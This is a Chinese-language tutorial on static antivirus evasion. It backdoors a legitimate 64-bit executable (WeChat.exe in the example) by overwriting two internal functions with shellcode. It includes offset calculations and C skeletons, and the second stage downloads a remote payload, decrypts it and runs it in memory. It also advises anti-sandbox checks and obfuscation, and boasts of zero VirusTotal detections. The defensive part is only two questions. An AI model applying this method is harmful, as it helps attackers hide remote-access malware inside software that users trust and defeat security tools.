记一次Patch exe 文件实现的静态免杀
字数 1565 2025-08-24 16:48:16
静态免杀技术:通过Patch EXE文件实现VT全绿
前言
本文详细记录了一种通过手动Patch PE文件实现静态免杀的技术,适用于64位EXE文件。该技术通过替换EXE文件中的函数代码,使程序启动时执行修改后的代码,从而达到免杀效果。
基本概念
PE文件
Windows可执行文件的统称,常见扩展名包括exe、dll、sys等。PE文件需要满足特定的文件格式。
关键地址概念
- VA (Virtual Address): 虚拟内存地址,PE文件被加载到内存后的地址
- RVA (Relative Virtual Address): 相对于PE基址的偏移地址
- FOA (File Offset Address): 文件中的偏移地址
实现思路
-
两次Patch策略:
- 第一次Patch: 替换函数体较小的A函数,填充自定义shellcode,功能仅为跳转到另一个函数体较大的B函数
- 第二次Patch: 替换B函数为真正的上线shellcode
-
优点:
- 提高Patch成功率
- 可实现多层跳转和参数传递
- 利用正常程序的代码规避静态查杀
前期准备
-
工具:
- CFF Explorer (计算函数地址及偏移)
- 010 Editor (文件编辑器)
- Visual Studio 2022 (C/C++开发环境)
- IDA Pro (逆向分析)
-
目标EXE选择标准:
- 大小适中
- 没有静态链接特定DLL文件
- 64位程序
详细实现步骤
1. 寻找合适的EXE文件
以WeChat.exe为例:
- 确保程序能正常运行
- 检查是否依赖特定DLL
2. 寻找Patch点
步骤:
- 使用IDA分析目标EXE
- 找到WinMain函数并查看伪代码(F5)
- 通过动态调试找到离程序退出最近的位置
- 选择两个函数:
- 第一个Patch点: 程序自身调用的函数(如sub_140001AE0)
- 第二个Patch点: 函数体较大的函数(如sub_140002C70)
地址计算:
使用CFF Explorer计算函数偏移:
| 函数 | VA | RVA | FOA |
|---|---|---|---|
| sub_140001AE0 | 140001AE0 | 00001AE0 | 00000EE0 |
| sub_140002C70 | 140002C70 | 00002C70 | 00002070 |
3. 编写Shellcode
第一段Shellcode (跳转功能):
void goto_shellcode() {
DWORD sub_140002C70_RVA = 0x2C70;
// 获取当前exe加载至内存的基地址
DWORD64 exeBase = GetExeBase();
// 可以加入混淆代码
// 转换为函数指针并调用
((void (*)(void))(exeBase + sub_140002C70_RVA))();
}
第二段Shellcode (上线功能):
void start_shellcode() {
// 可以加入混淆代码
// 从远程下载url
unsigned char payload = GetPayloadFromRemote(url);
// 解密载荷
decrypt(payload, key);
// 加载至内存中运行
run(payload);
}
Shellcode开发资源:
注意事项:
- 可加入简单反沙箱代码(如检测桌面文件数量)
- 避免过于复杂的代码导致体积增大
- Windows API需要动态获取
4. 替换函数体
- 使用CFF Explorer计算出的FOA
- 用010 Editor进行二进制替换
免杀效果
- VirusTotal: 0/74检测率
- 微步: 0/27检测率
关键点:
- 加入了简单反沙箱代码
- 使用了低级别混淆
- 利用了正常程序的代码特征
技术总结
优点
- 快速生成免杀马
- 程序包含大量正常代码,特征更新慢
- 灵活性强,可结合多种技术
缺点
- 需要手动编写shellcode
- 技术门槛较高
- 开发过程繁琐
防御思考
- 此类恶意软件的特征是什么?
- 杀软厂商应如何标记此类样本?
扩展思考
- 可结合动态技术如syscall、白加黑等
- 可考虑多层跳转增加复杂度
- 可研究函数间参数传递技术
引用
"做安全,免杀是一个永恒的话题,是一场猫捉老鼠的游戏。"
这篇文档详细记录了通过Patch EXE文件实现静态免杀的完整流程,从基本概念到具体实现步骤,再到效果验证和技术总结,涵盖了所有关键知识点。